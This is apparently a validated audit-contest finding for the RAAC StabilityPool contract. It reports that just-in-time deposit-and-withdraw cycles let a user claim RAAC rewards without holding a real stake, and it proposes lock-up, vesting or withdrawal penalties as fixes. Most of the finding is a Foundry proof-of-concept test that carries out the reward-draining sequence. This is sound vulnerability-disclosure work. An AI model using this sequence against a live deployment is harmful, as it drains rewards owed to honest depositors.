Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

The `StabilityPool` contract allows anyone with `RTokens` to exploit the reward distribution mechanism

Details

Rewards are minted into the StabilityPool based on the emmsion rate in RAACMINTER. These rewards are distributed to users according to their deposit of RTokens relative to the total RAACTOKEN balance in the pool. Reference.

The issue arises because a user can deposit RTokens and immediately withdraw them while still being eligible to claim rewards. This allows for potential exploitation of the reward system without maintaining a meaningful stake in the pool.

POC

import {Test, console} from "forge-std/Test.sol";
import {RAACHousePrices} from "../contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "../contracts/core/tokens/RAACNFT.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {DEToken} from "../contracts/core/tokens/DEToken.sol";
import {RToken} from "../contracts/core/tokens/RToken.sol";
import {crvUSDToken} from "../contracts/mocks/core/tokens/crvUSDToken.sol";
import {RAACMinter} from "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import {LendingPool} from "../contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "../contracts/core/pools/StabilityPool/StabilityPool.sol";
contract POC is Test {
RAACToken raacToken;
RAACMinter raacMinter;
LendingPool lendingPool;
crvUSDToken reserveAssetAddress;
RToken rToken;
DEToken deToken;
RAACNFT raacNFT;
RAACHousePrices housePrices;
StabilityPool stabilityPool;
address owner = makeAddr("owner");
address user = makeAddr("user");
address user2 = makeAddr("user2");
function setUp() public {
vm.warp(2 days);
vm.startPrank(owner);
raacToken = new RAACToken( owner, 0, 0);
reserveAssetAddress = new crvUSDToken(owner);
rToken = new RToken("R TOKEN","RTKN", owner, address(reserveAssetAddress));
deToken = new DEToken("DE TOKEN", "DE", owner,address(rToken));
housePrices = new RAACHousePrices(owner);
raacNFT = new RAACNFT(address(reserveAssetAddress), address(housePrices), owner);
lendingPool = new LendingPool(address(reserveAssetAddress), address(rToken), address(deToken), address(raacNFT),address(housePrices), 1e26);
stabilityPool = new StabilityPool(address(this));
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
stabilityPool.initialize(address(rToken), address(deToken), address(raacToken), address(raacMinter), address(reserveAssetAddress), address(lendingPool));
raacToken.setMinter(address(raacMinter));
vm.stopPrank();
vm.startPrank(address(raacMinter));
raacToken.mint(user, 10 ether);
raacToken.mint(user2, 10 ether);
vm.stopPrank();
vm.startPrank(address(owner));
rToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
rToken.transferOwnership(address(lendingPool));
deToken.transferOwnership(address(lendingPool));
uint256 mintAmount = 1000 ether;
reserveAssetAddress.mint(user, mintAmount);
reserveAssetAddress.mint(user2, mintAmount);
vm.stopPrank();
vm.startPrank(address(lendingPool)); //@audit for the purpose of giving users rToken to test with
rToken.mint(address(lendingPool), user, mintAmount, 1e27);
rToken.mint(address(lendingPool), user2, mintAmount, 1e27);
}
function test_POC() public {
vm.warp(block.timestamp + 2 weeks);
vm.roll(4);
vm.startPrank(user);
rToken.approve(address(stabilityPool), 1 ether);
stabilityPool.deposit(1 ether);
vm.stopPrank();
vm.startPrank(user2);
vm.roll(6);
rToken.approve(address(stabilityPool), 1 ether);
uint256 initialBalance = raacToken.balanceOf(address(user2));
stabilityPool.deposit(1 ether);
stabilityPool.withdraw(1 ether);
uint256 closingBalance = raacToken.balanceOf(address(user2));
vm.stopPrank();
assert(closingBalance > initialBalance);
}
}

Impact

Drain rewards in StabilityPool

Tools Used

Manual Review

Recommendations

To prevent this exploitation, consider implementing a minimum lock-up period for deposits before rewards can be claimed. Alternatively, a vesting mechanism for rewards or a withdrawal penalty could be introduced to discourage rapid deposit-withdraw cycles while ensuring fair reward distribution.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!